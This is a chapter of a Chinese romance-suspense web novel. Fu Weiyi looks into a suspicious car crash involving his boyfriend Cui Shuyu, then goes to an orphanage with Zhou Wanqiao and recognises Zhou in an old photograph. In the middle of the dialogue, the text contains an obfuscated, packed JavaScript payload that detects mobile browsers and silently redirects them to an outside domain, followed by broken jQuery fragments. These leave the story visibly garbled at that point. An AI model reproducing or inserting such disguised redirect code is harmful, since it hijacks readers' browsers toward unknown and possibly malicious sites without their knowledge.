崔殊玉出了车祸。
他乘坐的车辆在城西下环路出口突发事故。车辆失控撞上护栏，侧翻后起火。救援队到达时，火势已蔓延至整个车头。驾驶人当场死亡，副驾驶严重烧伤，确认为崔殊玉。无目击者。
他第一时间被送往渊城第一医院抢救，现已转入重症监护病房，生命体征极不稳定，脑部有弥漫性损伤。
医院走廊尽头的吸烟区，傅为义站在窗边，身影被头顶惨白的灯光拉得极长。他没有去看望那个名义上的“男友”，只是用指节无声地敲击着冰冷的窗沿，神情无波无澜，像一尊没有情绪的雕像。
艾维斯垂首站在他身后，汇报着调查结果。
“手机？”傅为义开口，声音被压得很低。
“没有。几乎和车头一起烧成了焦炭。”
“日记呢？”
“副驾驶座下找到一个残缺的纸块，碳化严重，字迹全无。”
傅为义的指节停下了敲击。他盯着艾维斯，目光锐利如刀：“车载记录仪。”
“数据完整，没有问题。事故前十一秒，驾驶员突然猛踩油门加速，同时大幅度偏转方向，全程没有踩刹车。”
“副驾操作的可能性？”
“后排也装了副驾监控，崔殊玉没有任何异常动作。”
“技术问题？远程入侵？”
“车况正常，没有刹车失灵的迹象，也没有发现远程入侵的痕迹。”
傅为义点了点头，从烟盒里抽出一支烟，低头点燃。火光一闪，在他深邃的眼窝下投下一道锐利的阴影。
艾维斯迟疑了一下，补充道：“警方初步结论是驾驶员操作失误，可能涉及疲劳驾驶或突发精神问题。家属已经签字认领了遗体。”
“驾驶员身份。”傅为义吸了一口烟，缓缓吐出。
“网约车平台正规注册司机，驾龄五年，无任何事故记录。已婚，有两个孩子，家庭情况稳定，社会关系简单。”
“异常汇款记录？”
“没有。近三个月的银行流水和线上收支都查过了，一切正常，没有可疑的大额进出账。”
“精神状态？”
“警方走访了他单位的同事和家属，都反馈他近期情绪稳定，没有反常，也没有精神病史或服药史。”
傅为义没有再说话。他沉默地抽完了那根烟，将烟头在身侧的金属扶手上用力一按，火星滋啦一声，彻底熄灭。
“所以，现在官方的结论是，”他抬起眼，语气平淡得近乎嘲讽，“这就是一场意外。”
艾维斯语气克制：“是。”
一场干净得无懈可击的车祸。一个背景清白、无任何动机的司机。一个即将带着秘密来见他的、前途光明的大学生。所有线索都在指向“悲剧”与“偶然”。
可越是干净，就越是肮脏。
傅为义的内心称不上悲伤，而是一种被挑衅的烦躁。
如果真的是一场阴谋，那么对方的目标必然不是崔殊玉，他本人没有任何价值，有价值的，想来是他即将带来的那个秘密。
脑中串联起那些碎片：栖川孤儿院，虞氏慈善基金，癫痫去世的哥哥，那本被烧毁的日记......每一个环节都合乎情理，但组合在一起，却散发着一股精心策划的腐臭味。
栖川孤儿院......虞家。
他皱起了眉。
“傅为义。”
有人扣了扣吸烟区的玻璃门，低声喊了一句傅为义的名字。他闻声抬头，看见了站在玻璃另一边的周晚桥。
“节哀。”周晚桥拉开玻璃门，轻声道。
玻璃门合页略微锈蚀，被推开的瞬间发出一声短促的金属响动，打断了走廊尽头的静默。
傅为义下意识拍了拍身上的烟味——周晚桥从不抽烟。他随口说：“人又没死，节哀什么。”
“那就......祝你的小男友早日康复？”周晚桥的祝福听起来总像带着一点似有若无的揶揄，诚意欠奉。
傅为义勉强接受：“也行。你来干什么？孟家的事还不够你忙的？”
周晚桥没回答，只抬起手，像从前很多次那样，自然地想去摸傅为义的头发。
那是一个带着安抚与掌控意味的动作。傅为义今天心情不好，不想接受，猛地偏头甩开，皱眉看他。
周晚桥若无其事地收回手，微笑着说：“你男朋友差点死了，我总该过来关心一下你。”
躲开周晚桥的手之后，傅为义扯扯唇角，说：“我没事，本来打算分手了。”
“也是，都四个多月了，你确实该分手了。”周晚桥说，“那你还特意跑来医院干什么？”
“来付钱。”傅为义敷衍道。
周晚桥轻笑出声：“你是觉得车祸有问题吧。”
说到这个傅为义就觉得烦躁，他又拿了一根烟，咬在嘴里却没点燃，只轻轻咬着滤嘴：“看不出问题。”
周晚桥极有耐心，径直在吸烟区的铁制椅子上坐下，抬头招招手，示意傅为义坐到他身边，缓声道：“坐下说吧。我帮你想想，你觉得哪里有问题？”
远处病房门口护士推着输液架经过，轮子压过地砖，带着一点长时间未清理的“吱呀”声。
傅为义看了周晚桥片刻。他和过去很多次为自己答疑解惑时一样神色安定可靠，双手自然地搭在膝上，深色西装没有半分褶皱。
眉目舒朗，眼神沉静，嘴角含着一点近乎礼貌的弧度，注视时很容易给人安心的感受，轻而易举使人信服。
傅为义沉默片刻，最终还是抬步过去，在周晚桥身边的椅子上坐下，双手抱胸向后靠去，说：“车辆没问题，司机也没问题，警察查过监控和行车记录仪，结论是意外事故。”
“那小崔的出发地和目的地都是什么地方？”周晚桥提问。
“他是来找我的。”傅为义说，“从栖川孤儿院出发。”
“栖川孤儿院？”周晚桥声音稍微压低，微微前倾了一点，抓住了要点，“他是那里长大的吗？”
“是的。”傅为义说。
“他去孤儿院做什么，拿东西？”周晚桥接着问。
“上周我陪他去拿了他哥哥的遗物。”在不牵扯核心利益的问题上，傅为义非常信任周晚桥，也相信他的能力，于是和盘托出，“看见日记里有一句话，直觉不太对劲。崔殊玉大概是为了找理由见我，就去孤儿院查了档案。”
“日记里什么话？他哥哥多大了？”周晚桥颇为感兴趣。
“说打针，看那句话的意思，还是集体的。”傅为义稍微顿了一下才补充，“他哥哥是癫痫去世的，具体年龄我不清楚，不过他今年是二十岁。”
“二十岁。”周晚桥不知道想到了什么，沉默了一会儿，“日记呢？我看看。档案也是，有吗？”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487687|185708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“都没了。”傅为义摊了摊手。
周晚桥微微挑眉。
傅为义低笑了一声：“挺合理的，车祸都烧没了。”
“档案孤儿院还有，是吧。”周晚桥缓缓向后靠回椅背，“但是崔殊玉醒来之前，没有人有权限查看。”
“你觉得正常吗？”傅为义侧头看他。
“很巧合。”周晚桥沉吟片刻，下了结论，“但他身上有什么值得这样......大费周章的呢？”
“我想再去孤儿院看看。”傅为义还记着崔殊玉所说的，照片中熟悉的人。
“这是正确的。”周晚桥认可道，“我陪你去吧，什么时候？”
“明天。”傅为义微侧头，“你有时间吗？”
“如果你需要我，我总会腾出时间的。”周晚桥语气很轻，尾音几乎像在叹息，显得他好像真的很关心傅为义一样。
第二天上午十点，傅为义再次抵达栖川孤儿院。
院长听说了崔殊玉的遭遇，非常真挚地表达了同情和悲痛，傅为义甚至看到了她眼底的泪花。
但她还是遗憾地拒绝了傅为义查看档案的要求。
傅为义并不意外，离开档案室之前，问了一句：“小玉说昨天看了一张孤儿院的合照，想让我也看看，这个我能看吗？”
院长说：“他说的应该是一楼走廊展览窗的合照，我们每隔一年都会拍，你下去就能看见。”
傅为义走出门，周晩桥在门口等他。
“展览窗？”他说，“我知道在哪里。”
他们一起走下楼梯，穿过长长的走廊。走廊有些陈旧，午后的阳光从高窗斜射进来，在空气中投下细碎的金色尘埃，四周安静得只剩下两人不疾不徐的脚步声，像在一条凝固的时间长河里逆行。
一整面墙的玻璃展窗里，一块块木质画框按年代排开，从左侧的黑白影像，到右侧的高清彩照。照片的风格几乎一成不变：庭院中央，穿着统一制服的孩子们按身高排列，身后永远是那棵老樟树。
傅为义根据年份，很快找到了崔殊玉所指的那张照片。他的目光从一张张童稚的面孔上缓缓扫过。
直到，他看到最后一排中间的一张脸。
一种莫名的熟悉感攫住了他，好像真的在哪里见过。
那个男孩大约十多岁，头发短而整齐，目光里透着一种不符合年龄的沉静。
他站得很直，制服干净，领口的扣子扣到倒数第二颗，显得一丝不苟。眼睛是偏长的内双，眼尾略垂，鼻梁挺直，尚且年少，脸上就已略有骨感。
他不像周围的孩子那样或笑或闹，只是安静地站着，唇角带着一丝极淡的、礼貌的弧度，像是早已习惯了这种集体场合的拍摄。
傅为义的眼神在他身上停留了许久，却还是没能想起这熟悉感的来源。
他后退半步，又靠近，试图从不同角度唤醒记忆。
这熟悉感并非简单的“似曾相识”，而是一种更深层的、仿佛触碰到某个巨大谜团边缘的悸动。这张脸背后，一定有什么他忽略了的关键信息。
“你过来看一眼，”他喊周晚桥，“这人你见过吗？”
说完，他终于转过身，想让周晚桥也来看看。
然后，傅为义找到了那张脸的主人。
就是站在他身后，正带着温和笑意看着他的。
——周晚桥。